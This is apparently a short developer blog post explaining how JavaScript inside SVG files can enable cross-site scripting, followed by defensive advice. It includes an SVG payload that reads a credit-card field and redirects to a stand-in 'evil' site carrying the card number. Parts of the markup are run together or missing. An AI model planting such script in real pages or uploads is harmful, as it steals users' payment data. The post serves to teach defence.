<svgxmlns="http://www.w3.org/2000/svg"><circlecx="40"cy="40"r="24"style="stroke:#006600; fill:#00cc00"/></svg>

If we open this SVG document with our browser we can see the JavaScript execute immediately. The alert even blocks execution of the browser rendering the circle.

While adding JS inside an SVG isn't inherently dangerous, it's important to know how they could be exploited.

Consider this scenario - a forum allows any user to upload a profile picture in SVG format. The hacker can add a script that retrieves cookie/storage information and force the browser to redirect to their own server with query params containing the retrieved data. If this SVG profile picture is embedded on the site, and is viewed by anyone, then that malicious script will run before the user even realizes what has happened. Such an attack is a form of Cross-Site Scripting (XSS) and the possibilities for exploitation are numerous:

<h3>Enter Your Payment Info</h3><inputid="credit-card"><divclass="customer-pic"><svgxmlns="http://www.w3.org/2000/svg"><script>constevilSite='http://www.an-evil-site.com';constccInput=document.querySelector('#credit-card');ccInput.onchange=()=>{window.location.href=`${evilSite}?cc=${ccInput.value}`;};</script><circlecx="40"cy="40"r="24"></circle></svg></div>

Let's stop right here and clear the big question though — when the SVG is implemented as an image tag or CSS background image source,the browser will not execute any JavaScript embedded inside the SVG. So the following implementations would be safe:

<imgsrc="./circle.svg">

div{background-image:url("./circle.svg");}

But if these trojan SVGs are embedded directly or added with an iframe thenbad things can happen. 🚨

So how can you protect against such a nefarious exploit?

• Don't allow SVG uploads from untrusted sources.
• Consider a Content Security Policy (CSP) to protect against XSS.
• Don't store sensitive data client-side.
• Use secure frames to capture sensitive client input.

Check out more #JSBits at my blog,jsbits-yo.com. Or follow me onTwitter!